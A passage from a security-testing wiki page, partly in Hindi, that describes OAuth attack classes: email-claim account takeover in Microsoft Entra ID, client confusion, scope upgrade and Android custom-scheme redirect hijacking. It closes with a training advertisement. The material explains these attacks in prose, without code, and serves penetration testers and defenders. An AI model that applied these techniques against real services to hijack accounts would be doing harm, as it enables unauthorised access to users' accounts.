  • कुछ implementations—जैसे “Login with Microsoft”—में client email फ़ील्ड पर निर्भर करता है, जो Entra ID में उपयोगकर्ता द्वारा नियंत्रित होता है और verified नहीं होता।
  • एक attacker इसका शोषण करके अपनी खुद की Azure AD organization बना सकता है (उदा., doyensectestorg) और इसका उपयोग Microsoft login करने के लिए कर सकता है।
  • हालाँकि Object ID (जो sub में स्टोर होता है) अपरिवर्तनीय और सुरक्षित है, परिवर्तनीय email फ़ील्ड पर निर्भरता account takeover सक्षम कर सकती है (उदा., victim@gmail.com जैसे खाते को hijack करना)।

Client Confusion Attack

In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.

Scope Upgrade Attack

The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.

Redirect Scheme Hijacking

In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// oauth is caught based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.

References

Tip

AWS Hacking सीखें & अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking सीखें & अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking सीखें & अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE) assessment tracks (ARTA/GRTA/AzRTA) और Linux Hacking Expert (LHE) के लिए full HackTricks Training catalog ब्राउज़ करें।

HackTricks का समर्थन करें